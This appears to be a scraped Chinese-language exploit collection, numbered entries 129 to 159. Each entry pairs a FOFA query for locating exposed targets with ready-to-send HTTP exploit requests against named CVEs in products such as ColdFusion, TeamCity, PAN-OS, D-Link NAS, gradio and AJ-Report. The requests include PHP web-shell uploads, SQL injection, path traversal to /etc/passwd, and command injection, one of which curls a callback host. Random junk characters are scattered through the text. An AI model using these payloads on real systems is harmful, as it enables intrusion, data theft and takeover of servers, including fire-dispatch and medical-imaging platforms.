5 m3 v- ^0 i) P. x0 cAdobe ColdFusion版本2018u17（以及早期版本）、2021u7（以及早期版本）和2023u1（以及早期版本）
6 p; ^7 ?8 v! Q( KFOFA：app="Adobe-ColdFusion"
PAYLOAD
% e0 a* i1 \- ~/ `+ v
% c) w* E4 T4 P4 ~129. Adobe ColdFusion 任意文件读取
CVE-2024-20767
4 j2 u* D" C! {' e6 G; l2 @FOFA：app="Adobe-ColdFusion" && title=="Error Occurred While Processing Request"
第一步，获取uuid
7 k2 g  q. C4 i% X) ^GET /CFIDE/adminapi/_servermanager/servermanager.cfc?method=getHeartBeat HTTP/1.1
0 i/ n9 p. T' E3 p5 ^Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Accept: */*
  y- b$ o0 p4 a. Y7 s4 A* dAccept-Encoding: gzip, deflate
Connection: close

! ~, T1 k! N7 ]" o% A' ^
第二步，读取/etc/passwd文件
' R7 D, o# ~- c9 }3 {GET /pms?module=logging&file_name=../../../../../../../etc/passwd&number_of_lines=100 HTTP/1.1
- l3 w2 o' I1 f6 A8 f8 YHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
9 ^" _" O9 ~* @# p. @; v$ S: WAccept: */*
& x  X5 N( e; d% OAccept-Encoding: gzip, deflate
* }$ F: b) D- m" jConnection: close
; w2 Z" T* e& k8 luuid: 85f60018-a654-4410-a783-f81cbd5000b9

# `( |. X2 z0 ^6 R" B
' V$ o! p5 j& U130. Laykefu客服系统任意文件上传
FOFA：icon_hash="-334624619"
POST /admin/users/upavatar.html HTTP/1.1
Host: 127.0.0.1
Accept: application/json, text/javascript, */*; q=0.01
( `2 b% ?, b+ l2 @2 B% c- g, LX-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 Edg/107.0.1418.26
( G9 z  [; m' h& Q0 b; w. a  KContent-Type: multipart/form-data; boundary=----WebKitFormBoundary3OCVBiwBVsNuB2kR
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: user_name=1; user_id=3
" g( Z- Z0 j- G7 YConnection: close

------WebKitFormBoundary3OCVBiwBVsNuB2kR
7 [/ W; U/ A/ y0 x, T% ?Content-Disposition: form-data; name="file"; filename="1.php"
Content-Type: image/png

<?php phpinfo();@eval($_POST['sec']);?>
------WebKitFormBoundary3OCVBiwBVsNuB2kR--
+ j" _% y3 Y  p7 @6 j
" q4 p$ b5 S8 ]; b4 e; f" t
9 ^6 k4 d! r, V( I8 ~131. Mini-Tmall <=20231017 SQL注入
FOFA：icon_hash="-2087517259"
后台地址：http://localhost:8080/tmall/admin
, R: v% @& _* W7 Q# V9 _http://localhost:8080/tmall/admin/user/1/1?orderBy=7,if((length(database())=11),SLEEP(3),0)
: q& U" G8 i6 c6 c
, m3 Q7 B; f2 E9 x( v132. JetBrains TeamCity 2023.11.3 及以下版本存在身份验证绕过
3 K6 ^9 L8 w, z7 D. h7 |CVE-2024-27198
9 X6 V0 h4 }) o! s2 vFOFA：body="Log in to TeamCity"
7 E! i9 b0 ?, V6 rPOST /pwned?jsp=/app/rest/users;.jsp HTTP/1.1
Host: 192.168.40.130:8111
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: */*
Content-Type: application/json
Accept-Encoding: gzip, deflate
0 R: j% M* K# B* H' l5 t+ p2 k
{"username": "用户名", "password": "密码", "email": "test@mydomain.com", "roles": {"role": [{"roleId": "SYSTEM_ADMIN", "scope": "g"}]}}


1 P, Q9 M+ r7 \0 V9 q$ v) ECVE-2024-27199
/res/../admin/diagnostic.jsp
, v( S+ r  `4 R1 H  C; Q/.well-known/acme-challenge/../../admin/diagnostic.jsp
( L' A' e/ K) y* u3 o/update/../admin/diagnostic.jsp
' _$ Q8 C' M, d& R
1 Z6 y+ @8 B% B" u" s2 D) w
CVE-2024-27198-RCE.py
& I* _$ \4 k% T% {- J" H
133. H5 云商城 file.php 文件上传
FOFA：body="/public/qbsp.php"
POST /admin/commodtiy/file.php?upload=1 HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
; I9 f' b% I; n; I7 j, yContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryFQqYtrIWb8iBxUCx
& X1 ?( O6 z9 T* ^: J; l
------WebKitFormBoundaryFQqYtrIWb8iBxUCx
* U4 T9 X, V8 s1 L+ O& IContent-Disposition: form-data; name="file"; filename="rce.php"
, J# ~  L# I4 C+ j7 oContent-Type: application/octet-stream
% w: ?" |( Q% \) K" U" V
<?php system("cat /etc/passwd");unlink(__FILE__);?>
# T  j# J/ e! ^1 G2 _) r' \------WebKitFormBoundaryFQqYtrIWb8iBxUCx--
8 Q; R6 A. \! ^7 \


; o4 Z0 V2 I& x# V: E. P0 J134. 网康NS-ASG应用安全网关index.php sql注入
CVE-2024-2330
4 M/ Q$ o* L) w9 m$ K5 [Netentsec NS-ASG Application Security Gateway 6.3版本
FOFA：app="网康科技-NS-ASG安全网关"
POST /protocol/index.php HTTP/1.1
: n* }# H6 P( q3 G+ y3 pHost: x.x.x.x
Cookie: PHPSESSID=bfd2e9f9df564de5860117a93ecd82de
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/110.0
- j' v4 S& Q9 ~Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
, G- ]& `$ g. T" K+ y" |3 UAccept-Encoding: gzip, deflate
3 ~0 v# ?. |6 LSec-Fetch-Dest: empty
9 B3 i* _' X- q$ B9 m3 A5 @5 e# k9 @Sec-Fetch-Mode: cors
$ ]- n3 ]% g/ `Sec-Fetch-Site: same-origin
$ {' X' h; [# ^2 lTe: trailers
Connection: close
Content-Type: application/x-www-form-urlencoded
( ?8 H1 A* c; i& J6 C4 zContent-Length: 263

jsoncontent={"protocolType":"addmacbind","messagecontent":["{\"BandIPMacId\":\"1\",\"IPAddr\":\"eth0'and(updatexml(1,concat(0x7e,(select+version())),1))='\",\"MacAddr\":\"\",\"DestIP\":\"\",\"DestMask\":\"255.255.255.0\",\"Description\":\"Sample+Description\"}"]}
/ V7 E) k3 C6 ]) x( [0 B

135. 网康NS-ASG应用安全网关list_ipAddressPolicy.php sql注入
1 X% j8 Z' E' V2 M4 gCVE-2024-2022
9 |' g2 h  `5 |. S* ~! c7 j/ |6 RNetentsec NS-ASG Application Security Gateway 6.3版本
FOFA：app="网康科技-NS-ASG安全网关"
GET /admin/list_ipAddressPolicy.php?GroupId=-1+UNION+ALL+SELECT+EXTRACTVALUE(1,concat(0x7e,(select+md5(102103122)),0x7e)) HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
9 e. l9 A0 x$ _2 u/ Z- oAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
0 R8 E! p2 {: a: [) q' S7 sConnection: close


* Z) r1 ?* c0 Z+ l- C0 E136. NextChat cors SSRF
. S% o7 u, T, _8 ~+ `CVE-2023-49785
FOFA：title="NextChat"
( N! W! Z; t/ s8 Y5 [- d8 ?GET /api/cors/http:%2f%2fnextchat.kr9dqoau.dnslog.pw%23 HTTP/1.1
2 x9 G0 A+ P  X! i8 O/ RHost: x.x.x.x:10000
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
8 h8 H/ D* c3 EAccept-Encoding: gzip


137. 福建科立迅通信指挥调度平台down_file.php sql注入
5 }2 R) d- ^& J# @( \% {CVE-2024-2620
& r  [9 A/ B, Z6 D; d0 [& l& ]FOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
GET /api/client/down_file.php?uuid=1%27%20AND%20(SELECT%205587%20FROM%20(SELECT(SLEEP(5)))pwaA)%20AND%20%27dDhF%27=%27dDhF HTTP/1.1
. ]2 `8 \9 k) U1 X8 V8 \( uHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
+ r( V- ?, q6 z( xAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
$ Y* S- h6 f( v1 mAccept-Encoding: gzip, deflate, br
Connection: close
7 G/ F- F5 m+ t" k, d# W2 K9 e5 Z8 rCookie: PHPSESSID=d62411cd4ada228583bbcae45f099567; authcode=uksj
9 m* @$ n) c: V* J2 H+ K& P# }Upgrade-Insecure-Requests: 1
. |/ d& P% j9 B- b1 n! j# n5 W

138. 福建科立讯通信指挥调度平台pwd_update.php sql注入
' P5 p8 F0 g# `( M) s1 {CVE-2024-2621
( B4 K- {# a$ W; s$ qFOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
. [, X( B2 `, b3 S' K6 jGET /api/client/user/pwd_update.php?usr_number=1%27%20AND%20(SELECT%207872%20FROM%20(SELECT(SLEEP(5)))DHhu)%20AND%20%27pMGM%27=%27pMGM&new_password=1&sign=1 HTTP/1.1
1 i' {4 E. L' A  C6 @Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
3 ~  i+ g8 V- Z$ s! o2 l4 m1 |6 Y% rAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
5 f. o' [$ h4 s' e! `Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
; z$ \" H/ K6 \, D9 @; `Accept-Encoding: gzip, deflate, br
Connection: close
1 D( {- f- K2 I! N5 Z1 ~8 ~Upgrade-Insecure-Requests: 1


139. 福建科立讯通信指挥调度平台editemedia.php sql注入
* X, `: F1 D! CCVE-2024-2622
FOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
GET /api/client/editemedia.php?enterprise_uuid=1%27%20AND%20(SELECT%203257%20FROM%20(SELECT(SLEEP(5)))JPVs)%20AND%20%27gDyM%27=%27gDyM HTTP/1.1
$ l6 @1 l& x* r. x* oHost: x.x.x.x
/ l7 r* N+ R4 P. LUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
) o8 @* m4 G0 U& R6 n6 x( OAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
8 H$ }+ s. p1 B) G; m) oAccept-Encoding: gzip, deflate, br
Connection: close
4 m: y" ~7 j! t' a/ ?Cookie: PHPSESSID=d62411cd4ada228583bbcae45f099567; authcode=cybk
Upgrade-Insecure-Requests: 1

: B' K+ K3 ~! |) S
0 x! j* ^- a9 T+ B- |+ c- v0 R140. 福建科立讯通信指挥调度平台get_extension_yl.php sql注入
CVE-2024-2566
FOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
% W% b, }$ V8 D4 `GET /api/client/get_extension_yl.php?imei=1%27%20AND%20(SELECT%207545%20FROM%20(SELECT(SLEEP(5)))Zjzw)%20AND%20%27czva%27=%27czva&timestamp=1&sign=1 HTTP/1.1
Host: x.x.x.x
1 C$ _) Y# r  O% y, n8 nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
. Y* P9 g! S9 ]4 n  s5 QAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
4 Y1 X; a! _* \$ TAccept-Encoding: gzip, deflate, br
Connection: close
Cookie: authcode=h8g9
Upgrade-Insecure-Requests: 1

3 o! X  G8 l" N* W
141. 建科立讯通信指挥调度管理平台 ajax_users.php SQL注入
FOFA：body="指挥调度管理平台"
8 L) P9 F# {+ h! F, M' DPOST /app/ext/ajax_users.php HTTP/1.1
9 O0 b6 p; l9 v6 K: S# ^+ Z) nHost: your-ip
+ J3 S4 u. K1 E+ L& }User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0 info
+ L: y9 ?8 _# S9 U9 m; qContent-Type: application/x-www-form-urlencoded
! H+ y& e5 w8 P$ k+ X
+ h* p# R" [) g! d; @% ?- s) |. T! b
; U$ w: b5 J2 M6 K( Z) Ldep_level=1') UNION ALL SELECT NULL,CONCAT(0x7e,md5(1),0x7e),NULL,NULL,NULL-- -
/ R; r0 j/ B7 @. J$ e
' g) a  K' ?: z* ^: |+ H, }8 e* t
3 v$ b9 k) o: m- d; k) d1 b: ?" m' O142. CMSV6车辆监控平台系统中存在弱密码
CVE-2024-29666
" q  X* R; G: K8 i( _FOFA：body="/808gps/"
admin/admin
143. Netis WF2780 v2.1.40144 远程命令执行
CVE-2024-25850
FOFA：title='AP setup' && header='netis'
PAYLOAD

! z" \9 J' [2 B6 U0 @3 L. D144. D-Link nas_sharing.cgi 命令注入
0 Q4 k  N- |3 |  eFOFA：app="D_Link-DNS-ShareCenter"
system参数用于传要执行的命令
# F9 [+ g* I5 C, ]GET /cgi-bin/nas_sharing.cgi?user=mydlinkBRionyg&passwd=YWJjMTIzNDVjYmE&cmd=15&system=aWQ= HTTP/1.1
5 k# P3 z0 l& W; dHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0
Connection: close
Accept: */*
) b: o$ w8 h% {* I0 J" w! W/ _4 rAccept-Language: en
Accept-Encoding: gzip

2 N" S9 T# r$ u8 N7 ^  U6 X
145. Palo Alto Networks PAN-OS GlobalProtect 命令注入
CVE-2024-3400
FOFA：icon_hash="-631559155"
GET /global-protect/login.esp HTTP/1.1
Host: 192.168.30.112:1005
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 Edg/92.0.902.84
0 s- r2 J* q; D5 s' r# A& Q' cConnection: close
4 i1 p' L# _* xCookie: SESSID=/../../../opt/panlogs/tmp/device_telemetry/minute/hellothere226`curl${IFS}dnslog地址`;
7 W- a6 p) i$ D( E8 F% v" @Accept-Encoding: gzip

; ]. ~/ X) g' O% Y2 Z
; a! m* ^$ \9 B' ~- s7 h3 T2 T146. MajorDoMo thumb.php 未授权远程代码执行
( Z! \3 m- O. o8 X6 D& sCNVD-2024-02175
3 T6 P$ J, t& S6 jFOFA：app="MajordomoSL"
GET /modules/thumb/thumb.php?url=cnRzcDovL2EK&debug=1&transport=%7C%7C+%28echo+%27%5BS%5D%27%3B+id%3B+echo+%27%5BE%5D%27%29%23%3B HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 Edg/92.0.902.84
Accept-Charset: utf-8
- j7 [2 o8 f, Q! a4 R6 KAccept-Encoding: gzip, deflate
Connection: close
/ u+ o- T) _- ]: q

# G3 q+ R/ h4 v# r5 v  F147. RaidenMAILD邮件服务器v.4.9.4-路径遍历
; `1 a/ Q8 T* S. h7 C1 p( E9 DCVE-2024-32399
FOFA：body="RaidenMAILD"
4 _) k& g, N0 D! Y# _* M: P3 n7 I4 HGET /webeditor/../../../windows/win.ini HTTP/1.1
$ s+ v+ G/ y/ S% THost: 127.0.0.1:81
* i2 _2 L  W; M$ F% K5 CCache-Control: max-age=0
Connection: close

  E  L2 `' \4 Q) s  e3 N/ ~" N0 E5 V
148. CrushFTP 认证绕过模板注入
& b2 D+ T& ~( Q- b- fCVE-2024-4040
FOFA：body="CrushFTP"
PAYLOAD
2 i6 \& S4 W# k6 A
: o0 ~( O7 F/ b9 _8 [149. AJ-Report开源数据大屏存在远程命令执行
# @! i* X4 U8 m; ?FOFA：title="AJ-Report"

POST /dataSetParam/verification;swagger-ui/ HTTP/1.1
% t/ K' e! P2 |9 a9 f- f* KHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
3 `/ X2 ~" P# [" PContent-Type: application/json;charset=UTF-8
- @/ C: {* j, V# P% j* A9 pConnection: close

* A2 H' \9 u3 S! c" Y( {) D{"ParamName":"","paramDesc":"","paramType":"","sampleItem":"1","mandatory":true,"requiredFlag":1,"validationRules":"function verification(data){a = new java.lang.ProcessBuilder(\"ipconfig\").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss+=line};return ss;}"}
3 }9 t/ T7 N% S1 N- A
- P) A* U8 o2 T- S2 ]- O150. AJ-Report 1.4.0 认证绕过与远程代码执行
+ r0 D4 \# V. sFOFA：title="AJ-Report"
  `8 l$ {$ j( A6 i4 O( }4 RPOST /dataSetParam/verification;swagger-ui/ HTTP/1.1
/ x7 Y) c' ^; C' \# ~: HHost: x.x.x.x
) r  ]8 M) r! qUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
& B0 Q1 U' \7 n7 G* S0 bAccept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
  X% ~6 g4 z* @4 C* XContent-Type: application/json;charset=UTF-8
Connection: close
) s% p6 `2 G" s$ BContent-Length: 339
3 v3 P1 v( a, U) B' a6 {0 \# {
{"ParamName":"","paramDesc":"","paramType":"","sampleItem":"1","mandatory":true,"requiredFlag":1,"validationRules":"function verification(data){a = new java.lang.ProcessBuilder(\"id\").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss+=line};return ss;}"}
4 }& K/ r* q) L5 \6 T

0 w  w3 n; W. F0 @! S% s1 w151. AJ-Report 1.4.1 pageList sql注入
* u/ b$ {. W1 e& C# A; ]3 YFOFA：title="AJ-Report"
GET /;swagger-ui/dataSource/pageList?showMoreSearch=false&pageNumber=1&pageSize=10 HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
# f2 t* _% b& z4 X9 rConnection: close
3 `# e; _3 O  s; @1 a3 lAccept-Encoding: gzip
) E8 o- M8 ]; y. X" i8 i. q( y
2 d0 J7 s' x3 k
152. Progress Kemp LoadMaster 远程命令执行
6 F! C1 w- y. R' j" pCVE-2024-1212
. [' q8 L$ A) YLoadMaster <= 7.2.59.2 (GA)
LoadMaster<=7.2.54.8 (LTSF)
LoadMaster <= 7.2.48.10 (LTS)
! _( Y  W8 e6 p1 O$ @FOFA：body="LoadMaster"
) L9 o7 @$ j( W7 W9 q6 [/ mJztsczsnOmRvZXNub3RtYXR0ZXI=是';ls;':doesnotmatter的base64编码
5 c8 u" D2 n! p2 k. _' ~9 Y. ?GET /access/set?param=enableapi&value=1 HTTP/1.1
7 p- }0 o& b6 c/ w$ v% b, |8 sHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_0) AppleWebKit/604.1 (KHTML, like Gecko) Version/9.1.2 Safari/604.1
Connection: close
2 y* T9 a( J8 G% ]Accept: */*
! B  Y) \* w& x- a. X7 DAccept-Language: en
Authorization: Basic JztsczsnOmRvZXNub3RtYXR0ZXI=
; Y5 T! J! s7 B" ~6 SAccept-Encoding: gzip


' O3 O, \5 e. A' A153. gradio任意文件读取
" n' B9 f$ H$ H; VCVE-2024-1561FOFA：body="__gradio_mode__"
  u" v, B$ g9 i" O  ^第一步，请求/config文件获取componets的id
. V) b; v0 [5 A( E) ihttp://x.x.x.x/config
) J. I6 r2 m; q1 o

9 [% q5 f$ C. g' i3 q* z, @* d, l第二步，将/etc/passwd的内容写入到一个临时文件
6 d: I9 B5 z6 g/ T3 ^; fPOST /component_server HTTP/1.1
Host: x.x.x.x
' W1 n4 D6 ~: u( ZUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.3 Safari/605.1.1514.1.3 Ddg/14.1.3
( T* R! y  F% c: j2 RConnection: close
Content-Length: 115
Content-Type: application/json
  Z: y, t+ V, F0 FAccept-Encoding: gzip
9 [  f8 [; X+ q1 J
/ v1 G1 i0 F: n- v* G{"component_id": "1","data": "/etc/passwd","fn_name": "move_resource_to_block_cache","session_hash": "aaaaaaaaaaa"}

& i5 C! z6 n+ N; h# g8 O
第三步访问
9 S/ g2 Q  i* D0 _, i3 a9 q' O) ]  Thttp://x.x.x.x/file=/tmp/gradio/ ... 8cdf49755073/passwd
9 |/ k( W1 g6 X: z- {. E
8 F. M2 ]" W, L* F  @
154. 天维尔消防救援作战调度平台 SQL注入
CVE-2024-3720FOFA：body="天维尔信息科技股份有限公司" && title=="登入"
* v1 N  P2 M0 d! j0 g2 D& @# @: WPOST /twms-service-mfs/mfsNotice/page HTTP/1.1
( m' H0 f' p6 k" Z3 }Host: x.x.x.x
Content-Length: 106
* i# L! y, F( Z5 q/ r7 jCache-Control: max-age=0
Upgrade-Insecure-Requests: 1
) D" B+ ?7 F9 DOrigin: http://x.x.x.x
$ t1 I* A# b: i& IContent-Type: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://x.x.x.x/twms-service-mfs/mfsNotice/page
! h* X' o/ O& i8 O" X; H* {6 c7 R/ bAccept-Encoding: gzip, deflate
2 m2 x, ?6 G) MAccept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Connection: close

6 j$ U8 t$ g3 _* x, i{"currentPage":1,"pageSize":19,"query":{"gsdwid":"1f95b3ec41464ee8b8f223cc41847930') AND 7120=(SELECT 7120 FROM PG_SLEEP(5)) AND ('dZAi'='dZAi"},"hgubmt748n4":"="}


155. 六零导航页 file.php 任意文件上传
CVE-2024-34982
FOFA：title=="上网导航 - LyLme Spage"
POST /include/file.php HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
Connection: close
Content-Length: 232
Accept: application/json, text/javascript, */*; q=0.01
8 _) _8 [, D6 \& aAccept-Encoding: gzip, deflate, br
& ^( W8 ^! c# N' U1 J" sAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
% t1 S4 o- B. c0 `1 dContent-Type: multipart/form-data; boundary=---------------------------qttl7vemrsold314zg0f
X-Requested-With: XMLHttpRequest
5 A! o4 ~: R8 W9 |8 x6 V5 \) v; m/ j
-----------------------------qttl7vemrsold314zg0f
Content-Disposition: form-data; name="file"; filename="test.php"
Content-Type: image/png
' c1 [$ f7 x& W, ~0 f/ b
9 ], g% K# |7 _  z- S<?php phpinfo();unlink(__FILE__);?>
; I  A9 z7 X8 j2 ^1 I# P-----------------------------qttl7vemrsold314zg0f--
- n# B* Q, P% _, E9 I6 Y

9 _/ [6 m5 P$ @: N8 @& Q) }访问回显文件http://x.x.x.x/files/upload/img_664ab7fd14d2c.php

  W5 h4 J+ H% j6 \0 r6 M156. TBK DVR-4104/DVR-4216 操作系统命令注入
3 Y( l  o$ U2 B7 R; UCVE-2024-3721
FOFA："Location: /login.rsp"
4 C% c6 h' X8 R, l9 ^6 `7 M6 Y·TBK DVR-4104
·TBK DVR-4216
8 ?; O  e9 p8 `curl "http://<dvr_host>:<port>/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=<URL_ENCODED_SHELL_COMMAND>" -H "Cookie: uid=1"
# s. v2 @: i: M7 q. h
* |7 Y( e, }( {. y1 q( m
1 K6 ~4 D$ D; Y+ \% L0 M7 j4 cPOST /device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=echo%3B%20echo%20asrgkjh0%20%3E%20%2Fvar%2Fexample.txt%3B%20ls%20-l%20%2Fvar%3B%20echo%20----------------%3B%20cat%20%2Fvar%2Fexample.txt%3B HTTP/1.1
- k) H0 g7 A7 s$ q! NHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh;T2lkQm95X0c= Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Content-Length: 0
Cookie: uid=1
Accept-Encoding: gzip

) f$ p$ E) k4 W2 `3 I; T
157. 美特CRM upload.jsp 任意文件上传
CNVD-2023-06971
FOFA：body="/common/scripts/basic.js"
  L2 }& F( R; O4 Q: sPOST /develop/systparam/softlogo/upload.jsp?key=null&form=null&field=null&filetitle=null&folder=null HTTP/1.1
* r# V) u$ j9 O/ Y/ SHost: x.x.x.x
% |, ]) \. I- n" p0 v, J: [, R9 HUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
! n" [$ W# ?8 d: k8 Y3 f& ]9 g  EContent-Length: 709
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
6 }5 n) A4 I# P* zAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cache-Control: max-age=0
/ t' c$ [  d5 C) v$ yConnection: close
& H0 I" y1 y5 b( lContent-Type: multipart/form-data; boundary=----WebKitFormBoundary1imovELzPsfzp5dN
Upgrade-Insecure-Requests: 1

------WebKitFormBoundary1imovELzPsfzp5dN
3 s3 k; R) K& M$ O, kContent-Disposition: form-data; name="file"; filename="kjldycpvjrm.jsp"
Content-Type: application/octet-stream

nyhelxrutzwhrsvsrafb
) V; W( v9 J: H. Y% ]  \# r------WebKitFormBoundary1imovELzPsfzp5dN
- U4 C7 c) o0 K0 q& P0 w5 o* L0 P4 sContent-Disposition: form-data; name="key"

null
------WebKitFormBoundary1imovELzPsfzp5dN
* h  }8 ^; l3 f  ~! ~Content-Disposition: form-data; name="form"
3 j% ?* Z4 z! e3 {+ x
null
3 h+ V) R; c* J  ]------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="field"
% Y& l; }: V: P" G
7 u  ^! T* M! N, m) Lnull
------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="filetitile"
+ C& L: ?4 c7 N$ F
null
% k" D: N8 d6 N% r7 o- t------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="filefolder"

null
5 B3 q% }2 Y% s------WebKitFormBoundary1imovELzPsfzp5dN--
  l+ d: u: O  Q* w& w+ Q9 y# v

; o# N- T1 a7 w& h3 n, E$ U4 nhttp://x.x.x.x/userfile/default/userlogo/kjldycpvjrm.jsp
0 a; G) H$ s9 i$ _0 r3 x
158. Mura-CMS-processAsyncObject存在SQL注入
: h5 y8 E. b1 h# Y: PCVE-2024-32640
FOFA："Generator: Masa CMS"
( j; T* U# [, z/ tPOST /index.cfm/_api/json/v1/default/?method=processAsyncObject HTTP/1.1
Host: {{Hostname}}
, Q, g7 N+ ~( N9 d) e2 }Content-Type: application/x-www-form-urlencoded
8 w2 a6 w4 F; q+ C
$ Z$ J% @, w' S* B+ R' S. Nobject=displayregion&contenthistid=x\'&previewid=1


159. 英飞达医学影像存档与通信系统 WebJobUpload任意文件上传
0 W. |, L! h' P$ U' `# sFOFA："INFINITT" && (icon_hash="1474455751"|| icon_hash="702238928")
POST /webservices/WebJobUpload.asmx HTTP/1.1
" _  n- V$ ^" \! B# ]# I7 J! i' n; kHost: x.x.x.x
7 N3 F7 f. b! D) ~2 OUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
Content-Length: 1080
